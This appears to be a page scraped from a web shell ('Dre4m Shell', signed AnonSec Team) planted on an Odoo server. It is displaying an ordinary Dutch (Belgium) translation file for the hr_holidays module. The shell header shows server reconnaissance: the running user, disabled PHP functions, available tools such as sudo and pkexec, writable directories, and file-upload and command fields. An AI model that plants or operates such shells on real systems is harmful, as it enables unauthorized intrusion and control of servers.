Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.137.41.2
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/hr_holidays/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/hr_holidays/i18n/nl_BE.po
# Translation of Odoo Server.
# This file contains the translation of the following modules:
# * hr_holidays
#
# Translators:
msgid ""
msgstr ""
"Project-Id-Version: Odoo 9.0\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2016-09-07 08:56+0000\n"
"PO-Revision-Date: 2016-01-20 10:30+0000\n"
"Last-Translator: Martin Trigaux\n"
"Language-Team: Dutch (Belgium) (http://www.transifex.com/odoo/odoo-9/"
"language/nl_BE/)\n"
"Language: nl_BE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: \n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_active
msgid "Active"
msgstr "Actief"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_number_of_days_temp
msgid "Allocation"
msgstr "Toewijzing"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
msgid "Approve"
msgstr "Goedkeuren"

#. module: hr_holidays
#: selection:hr.employee,current_leave_state:0 selection:hr.holidays,state:0
#: selection:hr.holidays.summary.dept,holiday_type:0
#: selection:hr.holidays.summary.employee,holiday_type:0
#: model:mail.message.subtype,name:hr_holidays.mt_holidays_approved
msgid "Approved"
msgstr "Goedgekeurd"

#. module: hr_holidays
#: selection:hr.holidays.status,color_name:0
msgid "Black"
msgstr "Zwart"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_summary_dept
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_summary_employee
msgid "Cancel"
msgstr "Annuleren"

#. module: hr_holidays
#: selection:hr.employee,current_leave_state:0 selection:hr.holidays,state:0
msgid "Cancelled"
msgstr "Geannuleerd"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
msgid "Category"
msgstr "Categorie"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.report_holidayssummary
msgid "Color"
msgstr "Kleur"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_company_id
msgid "Company"
msgstr "Bedrijf"

#. module: hr_holidays
#: model:ir.ui.menu,name:hr_holidays.menu_hr_holidays_configuration
msgid "Configuration"
msgstr "Instellingen"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
msgid "Confirm"
msgstr "Bevestigen"

#. module: hr_holidays
#: selection:hr.holidays.summary.dept,holiday_type:0
#: selection:hr.holidays.summary.employee,holiday_type:0
#: model:mail.message.subtype,name:hr_holidays.mt_holidays_confirmed
msgid "Confirmed"
msgstr "Bevestigd"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_create_uid
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_create_uid
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_create_uid
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_create_uid
msgid "Created by"
msgstr "Gemaakt door"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_create_date
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_create_date
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_create_date
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_create_date
msgid "Created on"
msgstr "Gemaakt op"

#. module: hr_holidays
#: model:ir.ui.menu,name:hr_holidays.menu_hr_holidays_dashboard
msgid "Dashboard"
msgstr "Dashboard"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_name
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
msgid "Description"
msgstr "Omschrijving"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_display_name
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_remaining_leaves_user_display_name
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_display_name
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_display_name
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_display_name
#: model:ir.model.fields,field_description:hr_holidays.field_report_hr_holidays_report_holidayssummary_display_name
msgid "Display Name"
msgstr "Schermnaam"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
msgid "Duration"
msgstr "Duur"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_date_to
msgid "End Date"
msgstr "Einddatum"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_date_from
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_date_from
msgid "From"
msgstr "Van"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
msgid "Group By"
msgstr "Groeperen op"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_id
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_remaining_leaves_user_id
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_id
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_id
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_id
#: model:ir.model.fields,field_description:hr_holidays.field_report_hr_holidays_report_holidayssummary_id
msgid "ID"
msgstr "ID"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays___last_update
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_remaining_leaves_user___last_update
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status___last_update
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept___last_update
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee___last_update
#: model:ir.model.fields,field_description:hr_holidays.field_report_hr_holidays_report_holidayssummary___last_update
msgid "Last Modified on"
msgstr "Laatst Aangepast op"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_write_uid
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_write_uid
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_write_uid
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_write_uid
msgid "Last Updated by"
msgstr "Laatst bijgewerkt door"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_status_write_date
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_dept_write_date
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_summary_employee_write_date
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_write_date
msgid "Last Updated on"
msgstr "Laatst bijgewerkt op"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
#: model:res.groups,name:hr_holidays.group_hr_holidays_manager
msgid "Manager"
msgstr "Manager"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_meeting_id
msgid "Meeting"
msgstr "Vergadering"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
#: model:ir.ui.view,arch_db:hr_holidays.view_holiday
msgid "Mode"
msgstr "Model"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.report_holidayssummary
msgid "Month"
msgstr "Maand"

#. module: hr_holidays
#: selection:hr.employee,current_leave_state:0
msgid "New"
msgstr "Nieuw"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_number_of_days
#: model:ir.ui.view,arch_db:hr_holidays.view_holiday
#: model:ir.ui.view,arch_db:hr_holidays.view_holiday_employee
#: model:ir.ui.view,arch_db:hr_holidays.view_holiday_simple
msgid "Number of Days"
msgstr "Aantal dagen"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_parent_id
msgid "Parent"
msgstr "Hoofd"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_summary_dept
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_summary_employee
msgid "Print"
msgstr "Afdrukken"

#. module: hr_holidays
#: selection:hr.holidays.status,color_name:0
msgid "Red"
msgstr "Rood"

#. module: hr_holidays
#: model:ir.ui.menu,name:hr_holidays.menu_hr_holidays_report
msgid "Reports"
msgstr "Rapportages"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
msgid "Reset to Draft"
msgstr "Terug naar Voorlopig"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_date_from
msgid "Start Date"
msgstr "Begindatum"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_state
msgid "Status"
msgstr "Status"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
msgid "To Do"
msgstr "Nog te doen"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
msgid "Type"
msgstr "Type"

#. module: hr_holidays
#: model:hr.holidays.status,name:hr_holidays.holiday_status_unpaid
msgid "Unpaid"
msgstr "Openstaand"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.view_hr_holidays_filter
msgid "Unread Messages"
msgstr "Ongelezen berichten"

#. module: hr_holidays
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_remaining_leaves_user_user_id
#: model:ir.model.fields,field_description:hr_holidays.field_hr_holidays_user_id
msgid "User"
msgstr "Gebruiker"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
msgid "Validate"
msgstr "Goedkeuren"

#. module: hr_holidays
#: selection:hr.employee,current_leave_state:0
msgid "Waiting Approval"
msgstr "Wachten op goedkeuring"

#. module: hr_holidays
#: model:ir.ui.view,arch_db:hr_holidays.edit_holiday_new
#: model:ir.ui.view,arch_db:hr_holidays.view_employee_form_leave_inherit
msgid "days"
msgstr "dagen"

Anon7 - 2022
AnonSec Team